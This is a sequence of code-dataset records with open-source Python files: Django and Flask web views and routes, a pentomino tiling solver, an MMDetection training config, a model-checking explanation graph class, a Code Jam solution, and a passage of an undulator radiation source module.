return Response({\"message\": \"회원 정보가 수정되었습니다.\"})\n # else:\n # return Response({\"message\": \"사용자 본인만 수정 가능합니다.\"})\n\n@api_view(['GET'])\ndef club_search(request):\n user = request.user\n clubs = Club.objects.order_by('-pk')\n serializer = ClubSerializer(clubs, many=True)\n return Response({\"status\": \"OK\", \"data\": serializer.data})\n \n@api_view(['GET', 'POST'])\ndef club_list_or_create(request):\n user = request.user\n PerPage = 10\n if request.method == 'GET':\n p = request.GET.get('_page', 1)\n clubs = Paginator(Club.objects.order_by('-pk'), PerPage)\n serializer = ClubSerializer(clubs.page(p), many=True)\n return Response({\"status\": \"OK\", \"data\": serializer.data})\n\n else: # POST\n if user.is_authenticated:\n serializer = ClubSerializer(data=request.data)\n if serializer.is_valid(raise_exception=True):\n club = serializer.save(master=request.user)\n ClubMember.objects.create(\n user_id=request.user.id, club_id=club.id, is_member=True)\n return Response({\"status\": \"OK\", \"data\": serializer.data})\n else:\n return Response({\"status\": \"FAIL\", \"error_msg\": \"로그인이 필요한 서비스 입니다.\"}, status=status.HTTP_401_UNAUTHORIZED)\n\n\n@api_view(['GET', 'PUT', 'DELETE'])\ndef club_detail_or_delete_or_update(request, club_id):\n club = get_object_or_404(Club, id=club_id)\n if request.method == 'GET':\n # member\n members = ClubMember.objects.filter(club_id=club.id, is_member=True)\n users_serializer = []\n for member in members:\n users_serializer.append(UserIdentifySerializer(member.user).data)\n # non_member\n non_members = ClubMember.objects.filter(club_id=club.id, is_member=False)\n non_users_serializer = []\n for member in non_members:\n non_users_serializer.append(UserIdentifySerializer(member.user).data)\n serializer = ClubSerializer(club)\n return Response({\"status\": \"OK\", \"data\": {'club_members': users_serializer, 'club_waiting_members': non_users_serializer, 'club_detail': serializer.data}})\n \n if request.user.is_authenticated:\n if request.method == 'PUT':\n if request.user == club.master:\n serializer = ClubSerializer(\n club, data=request.data, partial=True)\n if serializer.is_valid(raise_exception=True):\n serializer.save()\n return Response({\"status\": \"OK\", \"data\": serializer.data})\n else:\n return Response({\"status\": \"FAIL\", \"error_msg\": \"관리자만 수정할 수 있습니다.\"}, status=status.HTTP_403_FORBIDDEN)\n else: # DELETE\n if request.user == club.master:\n club.delete()\n return Response({\"status\": \"OK\"})\n else:\n return Response({\"status\": \"FAIL\", \"error_msg\": \"관리자만 삭제할 수 있습니다.\"}, status=status.HTTP_403_FORBIDDEN)\n else:\n return Response({\"status\": \"FAIL\", \"error_msg\": \"로그인이 필요한 서비스 입니다.\"}, status=status.HTTP_401_UNAUTHORIZED)\n\n\n@api_view(['POST', 'DELETE'])\n@permission_classes([IsAuthenticated])\ndef club_subscribe_or_cancle_or_withdraw(request, club_id):\n club = get_object_or_404(Club, id=club_id)\n user = request.user\n master = club.master\n if user == master:\n return Response({\"status\": \"FAIL\", \"error_msg\": \"관리자는 접근 할 수 없습니다.\"}, status=status.HTTP_403_FORBIDDEN)\n else:\n if request.method == 'POST':\n if ClubMember.objects.filter(club_id=club.id, user_id=user.id).exists():\n clubmember = ClubMember.objects.filter(\n club_id=club.id, user_id=user.id)\n clubmember.delete()\n return Response({\"status\": \"OK\"})\n else:\n clubmember = ClubMember.objects.create(\n club_id=club.id, user_id=user.id)\n data = {\n \"club\": club.id,\n \"user\": user.id,\n \"is_member\": clubmember.is_member\n }\n return Response({\"status\": \"OK\", \"data\": data})\n else: # DELETE\n clubmember = ClubMember.objects.filter(\n club_id=club.id, user_id=user.id)\n clubmember.delete()\n return Response({\"status\": \"OK\"})\n\n\n@api_view(['POST', 'DELETE'])\n@permission_classes([IsAuthenticated])\ndef club_accept_or_refuse_or_expel(request, club_id, user_id):\n club = get_object_or_404(Club, id=club_id)\n User = get_user_model()\n user = get_object_or_404(User, id=user_id)\n master = club.master\n if request.method == 'POST':\n if request.user == master:\n if ClubMember.objects.filter(club_id=club.id, user_id=user.id).exists():\n subscribe_user = ClubMember.objects.get(\n club_id=club.id, user_id=user.id)\n subscribe_user.is_member = True\n subscribe_user.save()\n data = {\n \"club\": club.id,\n \"user\": user.id,\n \"is_member\": subscribe_user.is_member\n }\n return Response({\"status\": \"OK\", \"data\": data})\n else:\n return Response({\"status\": \"FAIL\", \"error_msg\": \"잘못된 요청입니다.\"}, status=status.HTTP_400_BAD_REQUEST)\n else:\n return Response({\"status\": \"FAIL\", \"error_msg\": \"관리자만 권한이 있습니다.\"}, status=status.HTTP_403_FORBIDDEN)\n\n else: # DELETE\n if request.user == master:\n clubmember = ClubMember.objects.filter(\n club_id=club.id, user_id=user.id)\n clubmember.delete()\n return Response({\"status\": \"OK\"})\n else:\n return Response({\"status\": \"FAIL\", \"error_msg\": \"관리자만 삭제할 수 있습니다.\"}, status=status.HTTP_403_FORBIDDEN)\n\n\n@api_view(['POST'])\n@permission_classes([IsAuthenticated])\ndef club_follow(request, club_id):\n club = get_object_or_404(Club, id=club_id)\n if club.follow_users.filter(pk=request.user.id).exists():\n club.follow_users.remove(request.user)\n follow = False\n else:\n club.follow_users.add(request.user)\n follow = True\n data = {\n \"follow\": follow,\n \"count\": club.follow_users.count()\n }\n return Response({\"status\": \"OK\", \"data\": data})\n\n@api_view(['POST'])\n@permission_classes([IsAuthenticated])\ndef club_follow_check(request, club_id):\n club = get_object_or_404(Club, id=club_id)\n if club.follow_users.filter(pk=request.user.id).exists():\n follow = True\n else:\n follow = False\n data = {\n \"follow\": follow,\n \"count\": club.follow_users.count()\n }\n return Response({\"status\": \"OK\", \"data\": data})\n\n@api_view(['POST'])\n@permission_classes([IsAuthenticated])\ndef club_master_check(request, club_id):\n club = get_object_or_404(Club, id=club_id)\n if club.master == request.user:\n master = True\n else:\n master = False\n data = {\n \"master\": master,\n }\n return Response({\"status\": \"OK\", \"data\": data})","repo_name":"PIN-devel/connectshow-backend","sub_path":"accounts/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":9718,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"3654468747","text":"from copy import deepcopy as copy\r\n\r\nf_penta = [[0, 1, 0],\r\n [1, 1, 0],\r\n [0, 1, 1]]\r\n\r\ni_penta = [[1, 1, 1, 1, 1]]\r\n\r\nl_penta = [[1, 1, 1, 1],\r\n [1, 0, 0, 0]]\r\n\r\nn_penta = [[1, 1, 0, 0],\r\n [0, 1, 1, 1]]\r\n\r\np_penta = [[1, 1, 1],\r\n [1, 1, 0]]\r\n\r\nt_penta = [[1, 1, 1],\r\n [0, 1, 0],\r\n [0, 1, 0]]\r\n\r\nu_penta = [[1, 0, 1],\r\n [1, 1, 1]]\r\n\r\nv_penta = [[1, 0, 0],\r\n [1, 0, 0],\r\n [1, 1, 1]]\r\n\r\nw_penta = [[1, 1, 0],\r\n [0, 1, 1],\r\n [0, 0, 1]]\r\n\r\nx_penta = [[0, 1, 0],\r\n [1, 1, 1],\r\n [0, 1, 0]]\r\n\r\ny_penta = [[1, 1, 1, 1],\r\n [0, 1, 0, 0]]\r\n\r\nz_penta = [[1, 1, 0],\r\n [0, 1, 0],\r\n [0, 1, 1]]\r\n\r\nclass Grid:\r\n def __init__(self,rep):\r\n #rep is the 2d list representation\r\n self.rep = copy(rep)\r\n self.w = len(rep[0]) #width\r\n self.h = len(rep) #height\r\n \r\n def label(self,empty,emptychar,fullchar): #DESTRUCTIVE\r\n #empty is the list of values that are considered \"empty\"\r\n #emptychar is the character to put in empty cells\r\n #fullchar is the character to put in non-empty cells\r\n for r in range(self.h):\r\n for c in range(self.w):\r\n if self.rep[r][c] in empty:\r\n self.rep[r][c] = emptychar\r\n else:\r\n self.rep[r][c] = fullchar\r\n\r\n def rotate(self): #rotate clockwise 90 degrees\r\n rotated = []\r\n for c in range(self.w):\r\n newrow = []\r\n for r in range(self.h):\r\n newrow.append(self.rep[self.h-r-1][c])\r\n rotated.append(newrow)\r\n return Grid(rotated)\r\n \r\n def reflectx(self): #horizontal reflection\r\n reflected = list(map(lambda x: x[::-1],self.rep))\r\n return Grid(reflected)\r\n\r\n def reflecty(self): #vertical reflection \r\n return Grid(self.rep[::-1])\r\n \r\n def pad(self,left,top,width,height):\r\n padded = []\r\n for r in range(height):\r\n if r < top or r >= self.h + top:\r\n padded.append([\".\"] * width)\r\n else:\r\n row = [\".\"] * left\r\n row += self.rep[r-top]\r\n row += [\".\"] * (width - self.w - left)\r\n padded.append(row)\r\n return Grid(padded)\r\n \r\n def merge(self,other):\r\n #force same dimensions\r\n assert((self.w, self.h) == (other.w, other.h))\r\n\r\n merged = []\r\n for r in range(self.h):\r\n newrow = []\r\n for c in range(self.w):\r\n if self.rep[r][c] != \".\":\r\n newrow.append(self.rep[r][c])\r\n else:\r\n newrow.append(other.rep[r][c])\r\n merged.append(newrow)\r\n return Grid(merged)\r\n\r\n def collides(self,other):\r\n #force same dimensions\r\n assert((self.w, self.h) == (other.w, other.h))\r\n\r\n for r in range(self.h):\r\n for c in range(self.w):\r\n if (self.rep[r][c] != \".\") and (other.rep[r][c] != \".\"):\r\n return True\r\n return False\r\n\r\n def __repr__(self):\r\n if self.rep == None:\r\n return \"Invalid grid.\"\r\n result = \"\"\r\n for row in self.rep:\r\n row = list(map(str,row)) #in case grid items aren't strings\r\n result += \" \".join(row) + \"\\n\"\r\n return result[:-1]\r\n\r\n### DEPRECATED DUE TO CLASS IMPLEMENTATION ###\r\ndef grid_rotate(grid):\r\n w = len(grid[0]) #new grid height\r\n h = len(grid) #new grid width\r\n result = []\r\n for c in range(w): #build a new row for each column in original\r\n newrow = []\r\n for r in range(h):\r\n newrow.append(grid[h-r-1][c])\r\n result.append(newrow)\r\n return result\r\n\r\ndef grid_reflect(grid):\r\n return grid[::-1] #vertical reflection is easier to write\r\n\r\ndef grid_pad(grid,left,top,width,height):\r\n curr_width = len(grid[0])\r\n curr_height = len(grid)\r\n\r\n new = []\r\n for r in range(height):\r\n if r < top or r >= curr_height + top:\r\n new.append([0] * width)\r\n else:\r\n row = [0] * left\r\n row += grid[r-top]\r\n row += [0] * (width - curr_width - left)\r\n new.append(row)\r\n return new\r\n\r\ndef grid_merge(g1,g2):\r\n #assume same dimensions\r\n new = []\r\n for r in range(len(g1)):\r\n newrow = []\r\n for c in range(len(g1[0])):\r\n if g1[r][c] != \".\":\r\n newrow.append(g1[r][c])\r\n else:\r\n newrow.append(g2[r][c])\r\n new.append(newrow)\r\n return new\r\n\r\ndef checkCollision(g1,g2):\r\n #assume same dimensions\r\n for r in range(len(g1)):\r\n for c in range(len(g1[0])):\r\n if (g1[r][c] != \".\") and (g2[r][c] != \".\"):\r\n return True\r\n return False\r\n\r\n######\r\n\r\ndef allOrientations(penta):\r\n found = []\r\n current = copy(penta)\r\n\r\n while current not in found:\r\n cp = copy(current)\r\n found.append(cp)\r\n\r\n current = grid_rotate(current)\r\n \r\n current = grid_reflect(current)\r\n\r\n while current not in found:\r\n cp = copy(current)\r\n found.append(cp)\r\n\r\n current = grid_rotate(current)\r\n\r\n return found\r\n\r\ndef allPositions(penta,width,height):\r\n found = []\r\n for grid in allOrientations(penta):\r\n curr_width = len(grid[0])\r\n curr_height = len(grid)\r\n\r\n for c in range(0, width - curr_width + 1):\r\n for r in range(0, height - curr_height + 1):\r\n found.append(grid_pad(grid,c,r,width,height))\r\n return found\r\n\r\npentaPositions = {}\r\n\r\ndef dictionarySetup():\r\n pentas = [f_penta, i_penta, l_penta, n_penta,\r\n p_penta, t_penta, u_penta, v_penta,\r\n w_penta, x_penta, y_penta, z_penta]\r\n penta_letters = [\"F\", \"I\", \"L\", \"N\", \"P\", \"T\", \"U\", \"V\", \"W\", \"X\", \"Y\", \"Z\"]\r\n\r\n for i in range(len(pentas)):\r\n modifiedPositions = []\r\n\r\n for pos in allPositions(pentas[i],5,5):\r\n newgrid = []\r\n for row in pos:\r\n newrow = []\r\n for cell in row:\r\n if cell == 1:\r\n newrow.append(penta_letters[i])\r\n else:\r\n newrow.append(\".\")\r\n newgrid.append(newrow)\r\n modifiedPositions.append(newgrid)\r\n\r\n pentaPositions[penta_letters[i]] = modifiedPositions\r\n\r\ndef tryFit(grid,pentas):\r\n '''input()\r\n print(\"Trying to fit \" + str(pentas))\r\n grid_print(grid)\r\n print()'''\r\n\r\n #nothing left to fit, done!\r\n if pentas == []: \r\n return grid\r\n\r\n next_penta = pentas[0]\r\n next_positions = pentaPositions[next_penta]\r\n\r\n\r\n width = len(grid[0])\r\n height = len(grid)\r\n\r\n for pos in next_positions:\r\n if not checkCollision(grid,pos):\r\n fit = tryFit(grid_merge(grid,pos),pentas[1:])\r\n if fit != None:\r\n return fit\r\n \r\n '''print(\"Failed\")\r\n print()'''\r\n\r\nempty = [[\".\",\".\",\".\",\".\",\".\"],\r\n [\".\",\".\",\".\",\".\",\".\"],\r\n [\".\",\".\",\".\",\".\",\".\"],\r\n [\".\",\".\",\".\",\".\",\".\"],\r\n [\".\",\".\",\".\",\".\",\".\"]]\r\n\r\npentaPriority = [\"I\",\"L\",\"N\",\"Y\",\"X\",\"T\",\"V\",\"W\",\"Z\",\"F\",\"P\",\"U\"]\r\n\r\ndef buildPentaList(numPenta, pentasUsed, remainingPentas, grid):\r\n #numPenta: remaining number of pentas we want\r\n #pentasUsed: list of pentas so far\r\n #remainingPentas: unused pentas\r\n #grid: grid we want to tile\r\n\r\n impossibles = []\r\n\r\n if numPenta == 0:\r\n result = tryFit(grid,pentasUsed)\r\n if result == None:\r\n return [\"\".join(pentasUsed)] #found a set with no valid tiling\r\n\r\n if remainingPentas == []:\r\n return [] #nothing left to pull from, move on\r\n\r\n for i in range(len(remainingPentas)):\r\n result = buildPentaList(numPenta-1, pentasUsed + [remainingPentas[i]], remainingPentas[i+1:], grid)\r\n if result != None:\r\n impossibles += result\r\n\r\n return impossibles\r\n\r\ndictionarySetup()","repo_name":"LaplaceFox/polyomino-toolkit","sub_path":"polyomino_tiling.py","file_name":"polyomino_tiling.py","file_ext":"py","file_size_in_byte":8097,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"13746603613","text":"# faster RCNN, cascade RCNN, fcos, retinaNet, deformable detr)\n\n# inherits a base config\n_base_ = [\"/workspace/configs/_base_/models/cascade_rcnn_r50_fpn.py\"] \n\n\n#change the num_classes in head to match the dataset's annnotation\n\nmodel = dict(\n roi_head=dict(\n bbox_head = dict(num_classes=12)\n )\n)\n\n#modeify dataset releated settings\n\ndataset_type = 'CocoDataset'\n\nclasses = ('pedestrian', 'bicycle-group', 'person-group-far-away', 'scooter-group', \n 'motorbike', 'bicycle', 'rider', 'motorbike-group', 'rider+vehicle-group-far-away', \n 'buggy-group', 'wheelchair-group', 'tricycle-group' )\n\ndata = dict(\n train=dict( \n img_prefix='/workspace/data/ALL_img/',\n classes=classes,\n ann_file='/workspace/data/labels/citypersons_train.json'),\n val=dict( \n img_prefix='/workspace/data/ALL_img/',\n classes=classes,\n ann_file='/workspace/data/labels/citypersons_val.json'),\n test=dict(\n img_prefix='/workspace/data/ALL_img/',\n classes=classes,\n ann_file='/workspace/data/labels/citypersons_val.json')\n )\n\n# use the [re-trained faster-rcnn model to obtain higher pwedormacne]\n\nload_form =\"/workspace/cascade_rcnn_r50_fpn_20e_coco_bbox_mAP-0.41_20200504_175131-e9872a90.pth\"\n\n\n# python tools/train.py /workspace/configs/cascade_rcnn/cascade_rcnn_r50_fpn_1x_coco.py --gpus 1\n\n'''\npython demo/image_demo.py /workspace/data/img/test/milano/milano_01527.png /workspace/work_dirs/cascade_rcnn_r50_fpn_1x_coco/cascade_rcnn_r50_fpn_1x_coco.py /workspace/work_dirs/cascade_rcnn_r50_fpn_1x_coco/epoch_6.pth \n\n'''","repo_name":"Huxufeng666/MMdetection","sub_path":"train_citypersion/cascade-RCNN.py","file_name":"cascade-RCNN.py","file_ext":"py","file_size_in_byte":1610,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"29684479769","text":"class Explanation():\n \"\"\"\n Explanations consistute a graph explaining why a particular state satisfies\n an ATL property.\n \n An Explanation is composed of state and a list of successors reachable\n through inputs.\n \"\"\"\n def __init__(self, state, successors=None):\n \"\"\"\n state -- the state of the explanation node;\n successors -- a set of (inputs, successor) pairs where successors\n are also explanations.\n \"\"\"\n self.state = state\n self.successors = successors if successors else set()\n \n \n def dot(self):\n \"\"\"\n Return a dot representation (as a text) of this explanation.\n \"\"\"\n # Get all states, keep them and mark them\n ids = {}\n curid = 0\n extract = {self}\n while len(extract) > 0:\n expl = extract.pop()\n ids[expl] = \"s\" + str(curid)\n curid += 1\n for (action, succ) in expl.successors:\n if succ not in ids:\n extract.add(succ)\n \n dot = \"digraph {\"\n \n # Add states to the dot representation\n for expl in ids:\n dot += (ids[expl] + \" \" + \"[label=\\\"\" +\n '\\\\n'.join(var + \"=\" + val for var, val in\n expl.state.get_str_values().items()) +\n \"\\\"]\" + \";\\n\")\n \n # For each state, add each transition to the representation\n for expl in ids:\n for action, succ in expl.successors:\n dot += (ids[expl] + \"->\" + ids[succ] + \" \" +\n \"[label=\\\"\" + \"\\\\n\".join(var + \"=\" + val for var, val in \n action.get_str_values().items()) + \"\\\"]\"\n + \";\\n\")\n \n dot += \"}\"\n \n return dot","repo_name":"sbusard/pynusmv","sub_path":"src/tools/explanation/explanation.py","file_name":"explanation.py","file_ext":"py","file_size_in_byte":1880,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"61"} +{"seq_id":"43178353736","text":"\"\"\"\nThis module defines how URLs should route to views.\n\"\"\"\n\nfrom __future__ import unicode_literals\n\nfrom django.urls import reverse_lazy\nfrom django.conf.urls import url\nfrom django.views.generic.base import RedirectView\n\nfrom pcari import views\n\n# pylint: disable=invalid-name\napp_name = 'pcari'\n\nurlpatterns = [\n # User-facing views\n url(r'^$', RedirectView.as_view(url=reverse_lazy('pcari:landing')), name='index'),\n url(r'^landing/$', views.landing, name='landing'),\n url(r'^personal-information/$',\n views.CSRFTemplateView.as_view(template_name='personal-information.html'),\n name='personal-information'),\n url(r'^quantitative-questions/$',\n views.CSRFTemplateView.as_view(template_name='quantitative-questions.html'),\n name='quantitative-questions'),\n url(r'^rate-comments/$',\n views.CSRFTemplateView.as_view(template_name='rate-comments.html'),\n name='rate-comments'),\n url(r'^qualitative-questions/$', views.qualitative_questions,\n name='qualitative-questions'),\n url(r'^peer-responses/$', views.peer_responses, name='peer-responses'),\n url(r'^end/$', views.CSRFTemplateView.as_view(template_name='end.html'), name='end'),\n url(r'^about/$', views.CSRFTemplateView.as_view(template_name='about.html'),\n name='about'),\n]\n\napi_urlpatterns = [\n url(r'^fetch/comments/$', views.fetch_comments, name='fetch-comments'),\n url(r'^fetch/quantitative-questions/$', views.fetch_quantitative_questions,\n name='fetch-quantitative-questions'),\n url(r'^fetch/option-questions/$', views.fetch_option_questions,\n name='fetch-option-questions'),\n url(r'^fetch/qualitative-questions/$', views.fetch_qualitative_questions,\n name='fetch-qualitative-questions'),\n url(r'^fetch/question-ratings/$', views.fetch_question_ratings,\n name='fetch-question-ratings'),\n url(r'^fetch/locations/$', views.fetch_locations, name='fetch-locations'),\n url(r'^save-response/$', views.save_response, name='save-response'),\n]\n","repo_name":"BerkeleyAutomation/malasakit","sub_path":"malasakit/pcari/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2031,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"73347872195","text":"from flask import request\nfrom flask_classful import FlaskView as Resource, route\nfrom flask_orator import jsonify\n\nfrom models import Choice, Survey, Question\n\n\nclass SurveyView(Resource):\n\n @route('', methods = ['GET', 'POST'])\n def all(self):\n if request.method == 'GET':\n surveys = Survey.all()\n return jsonify([s.to_dict() for s in surveys])\n elif request.method == 'POST':\n data = request.get_json()\n survey = Survey(name = data['name'])\n questions = []\n for q in data['questions']:\n question = Question(text = q['text'])\n question.choices = [Choice(text = c) for c in q['choices']]\n questions.append(question)\n survey.questions = questions\n survey.save()\n return jsonify(survey.to_dict()), 201\n\n\n @route('/<int:id_>', methods = ('GET', 'PUT'))\n def one(self, id_):\n if request.method == 'GET':\n survey = Survey.query.get(id_)\n return jsonify(survey.to_dict())\n elif request.method == 'PUT':\n data = request.get_json()\n for q in data['questions']:\n choice = Choice.query.get(q['choice'])\n choice.selected = choice.selected + 1\n choice.save()\n survey = Survey.find(data['id'])\n return jsonify(survey.to_dict()), 201\n","repo_name":"laith43d/juju-survey","sub_path":"api/Survey.py","file_name":"Survey.py","file_ext":"py","file_size_in_byte":1416,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"23600189411","text":"import sys\r\n\r\nif (len(sys.argv) < 2):\r\n print(\"No file specified\")\r\n sys.exit(1)\r\n \r\ninfile = open(sys.argv[1])\r\n\r\nnum_cases = int(infile.readline().strip())\r\n\r\nfor case in range(1, num_cases+1):\r\n\r\n n, k = map((lambda v: int(v.strip())), infile.readline().split())\r\n\r\n switches = [False for i in range(n)]\r\n \r\n for i in range(k):\r\n \r\n # idx moves through the array of switches and ends up holding the index of\r\n # at the final powered switch.\r\n idx = 0\r\n \r\n while idx < n-1 and switches[idx]:\r\n # This switch is on so there is power to the next switch\r\n idx += 1\r\n \r\n # Flip the switches\r\n for j in range(idx + 1):\r\n switches[j] = not switches[j]\r\n \r\n result = True\r\n \r\n for switch in switches:\r\n result = result and switch\r\n \r\n if result:\r\n state = \"ON\"\r\n else:\r\n state = \"OFF\"\r\n \r\n print(\"Case #%d: %s\" % (case, state))\r\n \r\ninfile.close()\r\n \r\n ","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_53/210.py","file_name":"210.py","file_ext":"py","file_size_in_byte":931,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"2650267537","text":"__authors__ = [\"M Sanchez del Rio - ESRF ISDD Advanced Analysis and Modelling\"]\n__license__ = \"MIT\"\n__date__ = \"30-08-2018\"\n\n\"\"\"\n\nUndulator code: computes undulator radiation distributions and samples rays according to them.\n\nFully replaces and upgrades the shadow3 undulator model.\n\nThe radiation is calculating using one of three cods: internal, pySRU and SRW. The internal\ncode is indeed based on pySRU.\n\nThe radiation divergences (far field) are computed in polar coordinates for a more efiicient sampling.\n\nUsage:\n\nsu = SourceUndulator() # use keywords to define parameters. It uses syned for electron beam and vertical undulator\nrays = su.calculate_rays() # sample rays. Result is a numpy.array of shape (NRAYS,18), exactly the same as in shadow3\n\n\n\"\"\"\n\n\nimport numpy\n\nfrom srxraylib.util.inverse_method_sampler import Sampler1D, Sampler2D, Sampler3D\nimport scipy.constants as codata\nfrom scipy import interpolate\n\nfrom syned.storage_ring.magnetic_structures.undulator import Undulator\nfrom syned.storage_ring.electron_beam import ElectronBeam\n\nfrom orangecontrib.shadow.util.undulator.source_undulator_factory import SourceUndulatorFactory\nfrom orangecontrib.shadow.util.undulator.source_undulator_factory_srw import SourceUndulatorFactorySrw\nfrom orangecontrib.shadow.util.undulator.source_undulator_factory_pysru import SourceUndulatorFactoryPysru\n\n\nINTEGRATION_METHOD = 1 # 0=sum, 1=trapz\n\nclass SourceUndulator(object):\n def __init__(self,name=\"\",\n syned_electron_beam=None,\n syned_undulator=None,\n emin=10000.0, # Photon energy scan from energy (in eV)\n emax=11000.0, # Photon energy scan to energy (in eV)\n ng_e=11, # Photon energy scan number of points\n maxangle=50e-6, # Maximum radiation semiaperture in RADIANS\n ng_t=31, # Number of points in angle theta\n ng_p=21, # Number of points in angle phi\n ng_j=20, # Number of points in electron trajectory (per period) for internal calculation only\n code_undul_phot=\"internal\", # internal, pysru, srw\n flag_emittance=0, # when sampling rays: Use emittance (0=No, 1=Yes)\n flag_size=0, # when sampling rays: 0=point,1=Gaussian,2=FT(Divergences)\n ):\n\n # # Machine\n if syned_electron_beam is None:\n self.syned_electron_beam = ElectronBeam()\n else:\n self.syned_electron_beam = syned_electron_beam\n\n # # Undulator\n if syned_undulator is None:\n self.syned_undulator = Undulator()\n else:\n self.syned_undulator = syned_undulator\n\n # Photon energy scan\n self._EMIN = emin # Photon energy scan from energy (in eV)\n self._EMAX = emax # Photon energy scan to energy (in eV)\n self._NG_E = ng_e # Photon energy scan number of points\n # Geometry\n self._MAXANGLE = maxangle # Maximum radiation semiaperture in RADIANS\n self._NG_T = ng_t # Number of points in angle theta\n self._NG_P = ng_p # Number of points in angle phi\n self._NG_J = ng_j # Number of points in electron trajectory (per period)\n # ray tracing\n # self.SEED = SEED # Random seed\n # self.NRAYS = NRAYS # Number of rays\n\n self.code_undul_phot = code_undul_phot\n\n self._FLAG_EMITTANCE = flag_emittance # Yes # Use emittance (0=No, 1=Yes)\n self._FLAG_SIZE = flag_size # 0=point,1=Gaussian,2=backpropagate Divergences\n\n # results of calculations\n\n self._result_radiation = None\n self._result_photon_size_distribution = None\n self._result_photon_size_sigma = None\n\n\n def info(self,debug=False):\n \"\"\"\n gets text info\n\n :param debug: if True, list the undulator variables (Default: debug=True)\n :return:\n \"\"\"\n # list all non-empty keywords\n txt = \"\"\n\n\n txt += \"-----------------------------------------------------\\n\"\n\n txt += \"Input Electron parameters: \\n\"\n txt += \" Electron energy: %f geV\\n\"%self.syned_electron_beam._energy_in_GeV\n txt += \" Electron current: %f A\\n\"%self.syned_electron_beam._current\n if self._FLAG_EMITTANCE:\n sigmas = self.syned_electron_beam.get_sigmas_all()\n txt += \" Electron sigmaX: %g [um]\\n\"%(1e6*sigmas[0])\n txt += \" Electron sigmaZ: %g [um]\\n\"%(1e6*sigmas[2])\n txt += \" Electron sigmaX': %f urad\\n\"%(1e6*sigmas[1])\n txt += \" Electron sigmaZ': %f urad\\n\"%(1e6*sigmas[3])\n txt += \"Input Undulator parameters: \\n\"\n txt += \" period: %f m\\n\"%self.syned_undulator.period_length()\n txt += \" number of periods: %d\\n\"%self.syned_undulator.number_of_periods()\n txt += \" K-value: %f\\n\"%self.syned_undulator.K_vertical()\n\n txt += \"-----------------------------------------------------\\n\"\n\n txt += \"Lorentz factor (gamma): %f\\n\"%self.syned_electron_beam.gamma()\n txt += \"Electron velocity: %.12f c units\\n\"%(numpy.sqrt(1.0 - 1.0 / self.syned_electron_beam.gamma() ** 2))\n txt += \"Undulator length: %f m\\n\"%(self.syned_undulator.period_length()*self.syned_undulator.number_of_periods())\n K_to_B = (2.0 * numpy.pi / self.syned_undulator.period_length()) * codata.m_e * codata.c / codata.e\n\n txt += \"Undulator peak magnetic field: %f T\\n\"%(K_to_B*self.syned_undulator.K_vertical())\n txt += \"Resonances: \\n\"\n txt += \" harmonic number [n] %10d %10d %10d \\n\"%(1,3,5)\n txt += \" wavelength [A]: %10.6f %10.6f %10.6f \\n\"%(\\\n 1e10*self.syned_undulator.resonance_wavelength(self.syned_electron_beam.gamma(),harmonic=1),\n 1e10*self.syned_undulator.resonance_wavelength(self.syned_electron_beam.gamma(),harmonic=3),\n 1e10*self.syned_undulator.resonance_wavelength(self.syned_electron_beam.gamma(),harmonic=5))\n txt += \" energy [eV] : %10.3f %10.3f %10.3f \\n\"%(\\\n self.syned_undulator.resonance_energy(self.syned_electron_beam.gamma(),harmonic=1),\n self.syned_undulator.resonance_energy(self.syned_electron_beam.gamma(),harmonic=3),\n self.syned_undulator.resonance_energy(self.syned_electron_beam.gamma(),harmonic=5))\n txt += \" frequency [Hz]: %10.3g %10.3g %10.3g \\n\"%(\\\n 1e10*self.syned_undulator.resonance_frequency(self.syned_electron_beam.gamma(),harmonic=1),\n 1e10*self.syned_undulator.resonance_frequency(self.syned_electron_beam.gamma(),harmonic=3),\n 1e10*self.syned_undulator.resonance_frequency(self.syned_electron_beam.gamma(),harmonic=5))\n txt += \" central cone 'half' width [urad]: %10.6f %10.6f %10.6f \\n\"%(\\\n 1e6*self.syned_undulator.gaussian_central_cone_aperture(self.syned_electron_beam.gamma(),1),\n 1e6*self.syned_undulator.gaussian_central_cone_aperture(self.syned_electron_beam.gamma(),3),\n 1e6*self.syned_undulator.gaussian_central_cone_aperture(self.syned_electron_beam.gamma(),5))\n txt += \" first ring at [urad]: %10.6f %10.6f %10.6f \\n\"%(\\\n 1e6*self.get_resonance_ring(1,1),\n 1e6*self.get_resonance_ring(3,1),\n 1e6*self.get_resonance_ring(5,1))\n\n txt += \"-----------------------------------------------------\\n\"\n txt += \"Grids: \\n\"\n if self._NG_E == 1:\n txt += \" photon energy %f eV\\n\"%(self._EMIN)\n else:\n txt += \" photon energy from %10.3f eV to %10.3f eV\\n\"%(self._EMIN,self._EMAX)\n txt += \" number of points for the trajectory: %d\\n\"%(self._NG_J)\n txt += \" number of energy points: %d\\n\"%(self._NG_E)\n txt += \" maximum elevation angle: %f urad\\n\"%(1e6*self._MAXANGLE)\n txt += \" number of angular elevation points: %d\\n\"%(self._NG_T)\n txt += \" number of angular azimuthal points: %d\\n\"%(self._NG_P)\n # txt += \" number of rays: %d\\n\"%(self.NRAYS)\n # txt += \" random seed: %d\\n\"%(self.SEED)\n txt += \"-----------------------------------------------------\\n\"\n\n txt += \"calculation code: %s\\n\"%self.code_undul_phot\n if self._result_radiation is None:\n txt += \"radiation: NOT YET CALCULATED\\n\"\n else:\n txt += \"radiation: CALCULATED\\n\"\n txt += \"Sampling: \\n\"\n if self._FLAG_SIZE == 0:\n flag = \"point\"\n elif self._FLAG_SIZE == 1:\n flag = \"Gaussian\"\n elif self._FLAG_SIZE == 2:\n flag = \"Far field backpropagated\"\n\n txt += \" Photon source size sampling flag: %d (%s)\\n\"%(self._FLAG_SIZE,flag)\n if self._FLAG_SIZE == 1:\n if self._result_photon_size_sigma is not None:\n txt += \" Photon source size sigma (Gaussian): %6.3f um 